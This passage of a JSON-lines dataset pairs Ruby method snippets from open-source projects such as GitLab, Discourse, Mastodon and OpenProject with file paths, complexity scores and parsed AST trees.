"file_name_no_suffix\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"full_path_no_suffix\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"full_path_no_suffix\"]}]},null]}]},null]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"1249847a-defc-47b9-ac2d-f17eaadd68c9"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/magic_comment.rb","start_line":139,"raw_source":"def encoding\n        match(self.class::KEYWORDS[:encoding])\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"encoding\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"KEYWORDS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"encoding\"]}]}]}]}","id":"51b6d3f6-4ef7-4e92-8217-58be769d5429"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_root_agent.rb","start_line":37,"raw_source":"def configure_ra(conf_str)\n      conf = Config.parse(conf_str, \"(test)\", \"(test_dir)\", true)\n      @ra.configure(conf)\n      @ra\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"configure_ra\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conf_str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conf\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Config\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"conf_str\"]},{\"type\":\"str\",\"children\":[\"(test)\"]},{\"type\":\"str\",\"children\":[\"(test_dir)\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ra\"]},\"configure\",{\"type\":\"lvar\",\"children\":[\"conf\"]}]},{\"type\":\"ivar\",\"children\":[\"@ra\"]}]}]}","id":"37346dbb-7400-4ef3-a34e-7a640121c1fa"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/codeclimate_engine_configuration.rb","start_line":97,"raw_source":"def test_custom_nested_app_path_include_paths_not_a_parent\n    config = {\n      \"include_paths\" => [\"foo/nope\"],\n      \"config\" => {\n        \"app_path\" => \"foo/bar/baz\"\n      }\n    }\n    assert_equal [],\n      Brakeman::Codeclimate::EngineConfiguration.new(config).options[:only_files]\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_custom_nested_app_path_include_paths_not_a_parent\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"include_paths\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"foo/nope\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"config\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"app_path\"]},{\"type\":\"str\",\"children\":[\"foo/bar/baz\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"Codeclimate\"]},\"EngineConfiguration\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"config\"]}]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"only_files\"]}]}]}]}]}","id":"55dd2a78-e896-4d25-8d15-12a40785671f"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/controllers/meetings_controller.rb","start_line":58,"raw_source":"def index\n    load_meetings\n\n    render \"index\",\n           locals: { menu_name: project_or_global_menu }\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"load_meetings\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"index\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"menu_name\"]},{\"type\":\"send\",\"children\":[null,\"project_or_global_menu\"]}]}]}]}]}]}]}]}","id":"63922edd-c7dd-48d5-ad01-bfe1ec9a0c65"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/base/teamcity.rb","start_line":178,"raw_source":"def post_to_build_queue(_data, branch)\n        Clients::HTTP.post(\n          build_url('httpAuth/app/rest/buildQueue'),\n          body: \"<build branchName=#{branch.encode(xml: :attr)}>\" \\\n            \"<buildType id=#{build_type.encode(xml: :attr)}/>\" \\\n            '</build>',\n          headers: { 'Content-type' => 'application/xml' },\n          verify: enable_ssl_verification,\n          basic_auth: basic_auth\n        )\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"post_to_build_queue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_data\"]},{\"type\":\"arg\",\"children\":[\"branch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Clients\"]},\"HTTP\"]},\"post\",{\"type\":\"send\",\"children\":[null,\"build_url\",{\"type\":\"str\",\"children\":[\"httpAuth/app/rest/buildQueue\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<build branchName=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch\"]},\"encode\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"xml\"]},{\"type\":\"sym\",\"children\":[\"attr\"]}]}]}]}]},{\"type\":\"str\",\"children\":[\">\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<buildType id=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_type\"]},\"encode\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"xml\"]},{\"type\":\"sym\",\"children\":[\"attr\"]}]}]}]}]},{\"type\":\"str\",\"children\":[\"/>\"]}]},{\"type\":\"str\",\"children\":[\"</build>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-type\"]},{\"type\":\"str\",\"children\":[\"application/xml\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify\"]},{\"type\":\"send\",\"children\":[null,\"enable_ssl_verification\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"basic_auth\"]},{\"type\":\"send\",\"children\":[null,\"basic_auth\"]}]}]}]}]}","id":"72e0cdad-a83f-4428-acb0-2aea77dea3df"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/projects/copy/work_packages_dependent_service.rb","start_line":121,"raw_source":"def copy_relations(source_wp, new_wp_id, work_packages_map)\n      Relation.of_work_package(source_wp).each do |source_relation|\n        from_id, to_id = relations_from_to(source_relation, source_wp, new_wp_id, work_packages_map)\n\n        Relation.create(source_relation\n                          .attributes\n                          .except(\"id\", \"from_id\", \"to_id\")\n                          .merge(to_id:, from_id:))\n      end\n    end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"copy_relations\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source_wp\"]},{\"type\":\"arg\",\"children\":[\"new_wp_id\"]},{\"type\":\"arg\",\"children\":[\"work_packages_map\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Relation\"]},\"of_work_package\",{\"type\":\"lvar\",\"children\":[\"source_wp\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source_relation\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"from_id\"]},{\"type\":\"lvasgn\",\"children\":[\"to_id\"]}]},{\"type\":\"send\",\"children\":[null,\"relations_from_to\",{\"type\":\"lvar\",\"children\":[\"source_relation\"]},{\"type\":\"lvar\",\"children\":[\"source_wp\"]},{\"type\":\"lvar\",\"children\":[\"new_wp_id\"]},{\"type\":\"lvar\",\"children\":[\"work_packages_map\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Relation\"]},\"create\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_relation\"]},\"attributes\"]},\"except\",{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"from_id\"]},{\"type\":\"str\",\"children\":[\"to_id\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_id\"]},{\"type\":\"lvar\",\"children\":[\"to_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from_id\"]},{\"type\":\"lvar\",\"children\":[\"from_id\"]}]}]}]}]}]}]}]}","id":"c7f7de09-2259-4d89-ac19-fc9e24655a88"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/category_badge.rb","start_line":83,"raw_source":"def self.style_for_email(category, opts)\n    data = shared_data(category, opts)\n\n    badge_styles = {\n      display: \"inline-block\",\n      width: \"0.72em\",\n      height: \"0.72em\",\n      \"margin-right\": \"0.33em\",\n      \"background-color\": \"##{category.color}\",\n    }\n\n    result = +\"\"\n    result << \"<span data-category-id='#{category.id}'\"\n    result << \" data-parent-category-id='#{data[:parent_category].id}'\" if data[:parent_category]\n    result << \" data-drop-close='true'>\"\n    result << \"<span>\"\n    result << \"<span style='#{map_styles_to_string(badge_styles)}'>\"\n    if data[:parent_category]\n      parent_badge_styles = { display: \"block\", width: \"0.36em\", height: \"0.72em\" }\n      parent_badge_styles[\"background-color\"] = \"##{data[:parent_category].color}\"\n      parent_badge_style_value = map_styles_to_string(parent_badge_styles)\n      result << \"<span style='#{parent_badge_style_value}'></span>\"\n    end\n    result << \"</span>\"\n    result << ERB::Util.html_escape(category.name)\n    result << \"</span></span>\"\n\n    wrap_in_link(result, data[:category_url])\n  end","complexity_score":36.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"style_for_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"shared_data\",{\"type\":\"lvar\",\"children\":[\"category\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"badge_styles\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"display\"]},{\"type\":\"str\",\"children\":[\"inline-block\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"width\"]},{\"type\":\"str\",\"children\":[\"0.72em\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"height\"]},{\"type\":\"str\",\"children\":[\"0.72em\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"margin-right\"]},{\"type\":\"str\",\"children\":[\"0.33em\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"background-color\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"color\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<span data-category-id='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parent_category\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" data-parent-category-id='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parent_category\"]}]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"str\",\"children\":[\" data-drop-close='true'>\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<span>\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<span style='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"map_styles_to_string\",{\"type\":\"lvar\",\"children\":[\"badge_styles\"]}]}]},{\"type\":\"str\",\"children\":[\"'>\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parent_category\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent_badge_styles\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"display\"]},{\"type\":\"str\",\"children\":[\"block\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"width\"]},{\"type\":\"str\",\"children\":[\"0.36em\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"height\"]},{\"type\":\"str\",\"children\":[\"0.72em\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_badge_styles\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"background-color\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parent_category\"]}]},\"color\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"parent_badge_style_value\",{\"type\":\"send\",\"children\":[null,\"map_styles_to_string\",{\"type\":\"lvar\",\"children\":[\"parent_badge_styles\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<span style='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_badge_style_value\"]}]},{\"type\":\"str\",\"children\":[\"'></span>\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</span>\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"Util\"]},\"html_escape\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</span></span>\"]}]},{\"type\":\"send\",\"children\":[null,\"wrap_in_link\",{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"category_url\"]}]}]}]}]}","id":"fe6e29d2-db55-48bc-9a98-70cd36a5221f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/pipeline.rb","start_line":541,"raw_source":"def self.latest_successful_for_ref(ref)\n      newest_first(ref: ref).success.take\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"latest_successful_for_ref\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ref\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"newest_first\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"lvar\",\"children\":[\"ref\"]}]}]}]},\"success\"]},\"take\"]}]}","id":"20add8c7-84be-43af-aca4-9a5c19070b7d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ml/destroy_model_service.rb","start_line":35,"raw_source":"def packages_not_deleted(error_message)\n      ServiceResponse.error(message: error_message, payload: payload)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"packages_not_deleted\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error_message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"error_message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"send\",\"children\":[null,\"payload\"]}]}]}]}]}","id":"9255a69a-1e77-4dc1-b834-a792ca8aeb08"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/object_hierarchy.rb","start_line":16,"raw_source":"def initialize(ancestors_base, descendants_base = ancestors_base, options: {})\n      raise ArgumentError, \"Model of ancestors_base does not match model of descendants_base\" if ancestors_base.model != descendants_base.model\n\n      @ancestors_base = ancestors_base\n      @descendants_base = descendants_base\n      @model = ancestors_base.model\n      @unscoped_model = @model.unscoped\n      @options = options\n    end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ancestors_base\"]},{\"type\":\"optarg\",\"children\":[\"descendants_base\",{\"type\":\"lvar\",\"children\":[\"ancestors_base\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestors_base\"]},\"model\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"descendants_base\"]},\"model\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Model of ancestors_base does not match model of descendants_base\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@ancestors_base\",{\"type\":\"lvar\",\"children\":[\"ancestors_base\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@descendants_base\",{\"type\":\"lvar\",\"children\":[\"descendants_base\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@model\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestors_base\"]},\"model\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@unscoped_model\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@model\"]},\"unscoped\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"013056ba-e7fb-4563-87d7-c20111cf8adf"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/lib/mastodon/migration_helpers.rb","start_line":357,"raw_source":"def rename_column_concurrently(table, old, new, type: nil)\n      if transaction_open?\n        raise 'rename_column_concurrently can not be run inside a transaction'\n      end\n\n      check_trigger_permissions!(table)\n      trigger_name = rename_trigger_name(table, old, new)\n\n      # If we were in the middle of update_column_in_batches, we should remove\n      # the old column and start over, as we have no idea where we were.\n      if column_for(table, new)\n        remove_rename_triggers_for_postgresql(table, trigger_name)\n\n        remove_column(table, new)\n      end\n\n      old_col = column_for(table, old)\n      new_type = type || old_col.type\n\n      col_opts = {\n        precision: old_col.precision,\n        scale: old_col.scale,\n      }\n\n      # We may be trying to reset the limit on an integer column type, so let\n      # Rails handle that.\n      unless [:bigint, :integer].include?(new_type)\n        col_opts[:limit] = old_col.limit\n      end\n\n      add_column(table, new, new_type, **col_opts)\n\n      # We set the default value _after_ adding the column so we don't end up\n      # updating any existing data with the default value. This isn't\n      # necessary since we copy over old values further down.\n      change_column_default(table, new, old_col.default) if old_col.default\n\n      quoted_table = quote_table_name(table)\n      quoted_old = quote_column_name(old)\n      quoted_new = quote_column_name(new)\n\n      install_rename_triggers_for_postgresql(trigger_name, quoted_table,\n                                             quoted_old, quoted_new)\n\n      update_column_in_batches(table, new, Arel::Table.new(table)[old])\n\n      change_column_null(table, new, false) unless old_col.null\n\n      copy_indexes(table, old, new)\n      copy_foreign_keys(table, old, new)\n    end","complexity_score":43.9,"ast_json":"{\"type\":\"def\",\"children\":[\"rename_column_concurrently\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]},{\"type\":\"arg\",\"children\":[\"old\"]},{\"type\":\"arg\",\"children\":[\"new\"]},{\"type\":\"kwoptarg\",\"children\":[\"type\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"transaction_open?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"rename_column_concurrently can not be run inside a transaction\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"check_trigger_permissions!\",{\"type\":\"lvar\",\"children\":[\"table\"]}]},{\"type\":\"lvasgn\",\"children\":[\"trigger_name\",{\"type\":\"send\",\"children\":[null,\"rename_trigger_name\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"old\"]},{\"type\":\"lvar\",\"children\":[\"new\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column_for\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"new\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_rename_triggers_for_postgresql\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"trigger_name\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"new\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"old_col\",{\"type\":\"send\",\"children\":[null,\"column_for\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"old\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_type\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_col\"]},\"type\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"col_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_col\"]},\"precision\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scale\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_col\"]},\"scale\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"bigint\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"new_type\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"col_opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_col\"]},\"limit\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"new\"]},{\"type\":\"lvar\",\"children\":[\"new_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"col_opts\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_col\"]},\"default\"]},{\"type\":\"send\",\"children\":[null,\"change_column_default\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"new\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_col\"]},\"default\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"quoted_table\",{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"lvar\",\"children\":[\"table\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"quoted_old\",{\"type\":\"send\",\"children\":[null,\"quote_column_name\",{\"type\":\"lvar\",\"children\":[\"old\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"quoted_new\",{\"type\":\"send\",\"children\":[null,\"quote_column_name\",{\"type\":\"lvar\",\"children\":[\"new\"]}]}]},{\"type\":\"send\",\"children\":[null,\"install_rename_triggers_for_postgresql\",{\"type\":\"lvar\",\"children\":[\"trigger_name\"]},{\"type\":\"lvar\",\"children\":[\"quoted_table\"]},{\"type\":\"lvar\",\"children\":[\"quoted_old\"]},{\"type\":\"lvar\",\"children\":[\"quoted_new\"]}]},{\"type\":\"send\",\"children\":[null,\"update_column_in_batches\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"new\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Table\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"table\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"old\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_col\"]},\"null\"]},null,{\"type\":\"send\",\"children\":[null,\"change_column_null\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"new\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"copy_indexes\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"old\"]},{\"type\":\"lvar\",\"children\":[\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"copy_foreign_keys\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"old\"]},{\"type\":\"lvar\",\"children\":[\"new\"]}]}]}]}","id":"bfa28ee6-10a2-45b6-83b5-efb6deceb8a8"}
